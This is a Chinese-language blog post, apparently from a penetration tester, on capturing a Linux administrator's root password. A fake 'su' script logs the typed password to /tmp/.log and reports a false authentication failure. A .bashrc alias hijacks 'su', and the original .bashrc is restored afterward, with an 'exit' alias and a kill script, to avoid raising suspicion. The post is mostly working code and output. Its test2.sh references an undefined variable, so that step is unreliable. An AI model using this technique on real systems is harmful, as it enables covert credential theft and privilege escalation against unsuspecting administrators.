别名系列之二——Linux低权限用户抓取切账户时的密码

注： 最近在做项目的时候，得到一个邮件管理员个人机的普通账户权限，观察该账户 history 存在多次 su - root 记录，遂对如何抓取切用户时输入的密码展开思考。

实现思路：

实现思路同上一篇文章，通过设置别名，替换用户的 su 命令为执行我的恶意脚本。由于我始终没能解决将密码传参给 **/bin/su** 的问题，于是恶意脚本负责伪造一次认证，记录密码后回显密码错误，并清理痕迹。

具体步骤：

为了伪造一次认证，首先观察在 su - root 时，正常的回显

```
odyss3y@ubuntu:~$ su - root
Password:
su: Authentication failure
odyss3y@ubuntu:~$
```

于是相应的Shell脚本为

```
#!/bin/bash

echo -e "Password: \c"
read -s pass
echo $pass >> /tmp/.log
echo ""
echo "su: Authentication failure"
```

执行一下脚本看看结果，可以看见几乎没有区别

```
odyss3y@ubuntu:~$ ./test.sh
Password:
su: Authentication failure
odyss3y@ubuntu:~$
```

然后备份该用户的 **.bashrc** 文件

```
cp -p .bashrc /tmp/.bashrc
```

修改用户的 **.bashrc** 文件，添加一条别名

```
alias su='./test.sh'
```

测试一下，成功

```
odyss3y@ubuntu:~$ su - root
Password:
su: Authentication failure
odyss3y@ubuntu:~$ cat /tmp/.log
password
odyss3y@ubuntu:~$
```

然而目前这个状态，认证始终无法成功，
会影响到管理员的正常的操作，引起管理员的警觉
所以需要修改为抓取一次密码后，恢复为正常的 su
脚本修改为

```
#!/bin/bash

echo -e "Password: \c"
read -s pass
echo $pass >> /tmp/.log
echo ""
echo "su: Authentication failure"
#还原原始的.bashrc 启动新的终端，su命令被还原
cp -p /tmp/.bashrc .bashrc
rm /tmp/.bashrc
bash
```

测试一下

```
odyss3y@ubuntu:~$ su - root
Password:
su: Authentication failure
odyss3y@ubuntu:~$ su - root
Password:
root@ubuntu:~#
```

可以看见，su 命令已经被还原，密码也被成功记录下来

```
odyss3y@ubuntu:~$ cat /tmp/.log
password
123456
odyss3y@ubuntu:~$
```

此时仍存在一个问题，若该用户习惯直接点X关掉终端还好
若用户习惯exit退出终端，要输入两遍才能退出，见下图

```
odyss3y@ubuntu:~$ exit
exit
odyss3y@ubuntu:~$
```

对此种情况解决方法为：

1. 备份两个 **.bashrc** 文件

```
cp -p .bashrc /tmp/.bashrc
cp -p .bashrc /tmp/.bashrc_tmp
```

2. 修改 **.bashrc_tmp**

```
alias exit='./test2.sh'
```

3. 修改 **test.sh**

```
#!/bin/bash

echo -e "Password: \c"
read -s pass
echo $pass >> /tmp/.log
echo ""
echo "su: Authentication failure"
#还原原始的.bashrc 启动新的终端，su命令被还原
cp -p /tmp/.bashrc_tmp .bashrc
rm /tmp/.bashrc_tmp
bash
```

4. 修改 **test2.sh**

```
#!/bin/bash
#找出su仍是恶意脚本的bash并杀掉，实现一次exit就退出。
ps_result=`ps -ef | grep "/bin/bash ./test.sh"`
pid=`echo $tmp | awk '{print $3}'`
cp -p /tmp/.bashrc .bashrc
rm /tmp/.bashrc
kill -9 $pid
```

到此，管理员只要输入一次 **exit** 即可退出终端
但若管理员直接X掉终端，那原始 **.bashrc** 文件就没有恢复，会影响接下来的所有终端，所以分析管理员的习惯格外重要。